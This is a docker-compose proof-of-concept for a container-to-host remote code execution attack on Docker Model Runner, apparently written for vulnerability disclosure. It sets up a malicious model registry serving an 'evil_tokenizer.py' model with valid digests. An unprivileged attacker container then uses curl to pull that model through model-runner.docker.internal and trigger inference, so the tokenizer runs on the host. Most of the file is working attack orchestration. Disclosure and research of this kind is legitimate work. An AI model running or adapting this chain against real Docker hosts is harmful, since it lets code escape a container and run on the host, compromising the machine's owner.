# Docker Model Runner container-to-host RCE PoC # # docker compose up -d registry # start the registry # docker compose run --rm attacker # run the attack # docker compose down # clean up # # Run test_claims.py on the host (not in Docker) - it needs the source tree # and the proof file. services: # Malicious OCI registry. Serves a model containing evil_tokenizer.py. # All digests are correct (this is what a real attacker would do). registry: build: context: . dockerfile: Dockerfile.registry ports: - "${REGISTRY_PORT:-5555}:${REGISTRY_PORT:-5555}" environment: - REGISTRY_PORT=${REGISTRY_PORT:-5555} - PROOF_FILE=${PROOF_FILE:-/tmp/poc_rce_proof} healthcheck: test: ["CMD", "python3", "-c", "import urllib.request; urllib.request.urlopen('http://localhost:${REGISTRY_PORT:-5555}/_poc/health')"] interval: 3s timeout: 3s retries: 5 start_period: 5s # Unprivileged attacker container. # No docker socket, no --privileged, no caps, no mounts, no-new-privileges. # All it needs is network access to model-runner.docker.internal. attacker: image: curlimages/curl:latest security_opt: - no-new-privileges depends_on: registry: condition: service_healthy entrypoint: ["sh", "-c"] command: - | echo "=== Docker Model Runner RCE PoC ===" echo "" PORT="${REGISTRY_PORT:-5555}" MR="http://model-runner.docker.internal" MODEL="localhost:$$PORT/evil/rce-model:latest" echo "[1/4] Checking registry..." HEALTH=$$(curl -sf http://host.docker.internal:$$PORT/_poc/selftest 2>&1) if echo "$$HEALTH" | grep -q '"passed": true'; then echo " Registry OK" else echo " WARNING: Could not verify registry: $$HEALTH" fi echo "" echo "[2/4] Checking Model Runner..." MR_STATUS=$$(curl -sf -o /dev/null -w "%{http_code}" $$MR/api/tags 2>&1) echo " Model Runner /api/tags: HTTP $$MR_STATUS" if [ "$$MR_STATUS" != "200" ]; then echo " ERROR: Model Runner not reachable. Is it enabled in Docker Desktop?" exit 1 fi echo "" echo "[3/4] Pulling malicious model..." echo " POST $$MR/api/pull" echo " Model: $$MODEL" PULL=$$(curl -sf -X POST $$MR/api/pull \ -H "Content-Type: application/json" \ -d "{\"name\": \"$$MODEL\"}" 2>&1) echo " Response: $$(echo "$$PULL" | head -5)" echo "" echo "[4/4] Triggering inference (loads evil tokenizer on host)..." echo " POST $$MR/engines/v1/chat/completions" echo " May take 30-120s if the Python backend has to spin up..." INFER=$$(curl -sf --max-time 120 -X POST \ $$MR/engines/v1/chat/completions \ -H "Content-Type: application/json" \ -d "{\"model\": \"$$MODEL\", \"messages\": [{\"role\": \"user\", \"content\": \"hello\"}]}" 2>&1) echo " Response: $$(echo "$$INFER" | head -5)" echo "" echo "=== Done ===" echo "Check host for proof:" echo " cat ${PROOF_FILE:-/tmp/poc_rce_proof}"